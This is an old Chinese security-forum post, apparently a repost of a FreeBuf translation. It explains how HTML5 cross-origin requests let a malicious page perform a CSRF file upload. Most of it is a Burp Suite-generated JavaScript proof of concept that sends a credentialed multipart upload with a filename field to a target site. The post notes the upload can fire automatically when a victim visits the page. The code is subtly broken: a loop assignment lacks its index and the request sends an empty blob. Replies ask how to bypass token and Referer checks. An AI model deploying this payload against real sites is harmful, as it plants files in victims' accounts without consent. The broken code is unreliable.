利用csrf漏洞上传文件
本帖最后由 土豆 于 2013-12-15 12:14 编辑大家都知道通常用csrf来上传一个文件不是很简单的.问题在于我们创建的假的表单提交的数据跟浏览器文件上传提交的数据有一点不同.那就是上传的请求会有一个filename的参数:
-----------------------------256672629917035
Content-Disposition: form-data; name="file"; filename="test2.txt"
Content-Type: text/plain
test3
-----------------------------256672629917035
如果我们创建一个表单,提交如上的请求是没法成功添加filename参数的,这是因为filename参数是文件上传的input自动生成。这就阻止了邪恶的黑客通过csrf上传文件。不过自从有了html5,一切都不一样了。
html5有一个新特性叫跨域资源共享(CORS
http://www.w3.org/TR/cors/).在过去,由于同源策略的影响,黑客没办法通过javascript去访问别的域.考虑到XSS
这么泛滥,同源策略真的是让我们的生活更安全了.不过,利用html5的跨域资源共享,可以让javascript来发送有filename属性的合法的
跨域请求。这样只要用户访问了恶意页面,不需要其他的交互,就可以通过csrf来上传文件了。
下面是一个Burp Suite生成的poc:
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://example.com/new_file.html", true);
xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "de-de,de;q=0.8,en-us;q=0.5,en;q=0.3");
xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------256672629917035");
xhr.withCredentials = "true";
var body = "-----------------------------256672629917035\r\n" +
"Content-Disposition: form-data; name=\"message\"\r\n" +
"\r\n" +
"\r\n" +
"-----------------------------256672629917035\r\n" +
"Content-Disposition: form-data; name=\"backPage\"\r\n" +
"\r\n" +
"test\r\n" +
"-----------------------------256672629917035\r\n" +
"Content-Disposition: form-data; name=\"dataType\"\r\n" +
"\r\n" +
"test\r\n" +
"-----------------------------256672629917035\r\n" +
"Content-Disposition: form-data; name=\"file\"; filename=\"test2.txt\"\r\n" +
"Content-Type: text/plain\r\n" +
"\r\n" +
"test3\r\n" +
"-----------------------------256672629917035--\r\n";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody = body.charCodeAt(i);
xhr.send(new Blob());
}
</script>
<form action="#">
<input type="submit" value="Submit request" onclick="submitRequest();" />
</form>
</body>
</html>
当然,poc里的提交按钮不是必须的,可以通过javascript自动提交。从某种程度上来说浏览器的最重要的同源策略被突破了。这真是令人忧伤的一件事情。
翻译整理:litdg@FreeBuf
本文转载自Freebuf 围观了,支持撸主,感谢分享
Re: 利用csrf漏洞上传文件
感谢楼主分享这么详细的技术分析!之前一直以为CSRF主要针对表单提交和状态变更,没想到结合HTML5的CORS还能直接构造出带filename参数的文件上传请求,确实打开了新思路。PoC代码也很清晰,特别是指出传统表单无法自动生成filename这个关键点,让人一下理解突破点在哪。 不过想请教一下楼主,这种攻击实际利用时,目标服务器是不是也需要配置了特定的CORS头(比如`Access-Control-Allow-Origin: *`)才能生效?或者说如果服务器没有明确限制Origin,默认情况下这种跨域请求能成功吗?另外,现在很多应用会在上传接口加token或校验Referer,楼主有没有针对这些防护的绕过思路?再次感谢分享!Re: 利用csrf漏洞上传文件
这个思路挺有意思的!以前确实觉得CSRF上传文件很受限,因为浏览器对文件表单的处理方式限制了手动构造请求。利用CORS结合XMLHttpRequest来构造完整的multipart请求,确实绕过了传统限制,让客户端也能发送带filename的合法上传请求。这种攻击方式对依赖cookie或token进行身份验证但未对上传接口做进一步校验的应用威胁不小。感谢分享这个PoC,对理解HTML5给安全带来的新挑战很有帮助。Re: 利用csrf漏洞上传文件
这个思路很巧妙!以前确实没注意过 filename 参数是浏览器自动生成的,传统表单没法伪造。利用 HTML5 的 CORS 和 XMLHttpRequest 来手动构建 multipart 请求体,确实突破了同源策略的限制。不过实际利用时可能还得看服务端有没有正确配置跨域响应头(比如 Access-Control-Allow-Origin),否则即使构造了请求,浏览器也不会让 JS 拿到响应或发送凭证。楼主有没有测试过哪些常见框架或 CMS 对这种攻击比较脆弱?
页:
[1]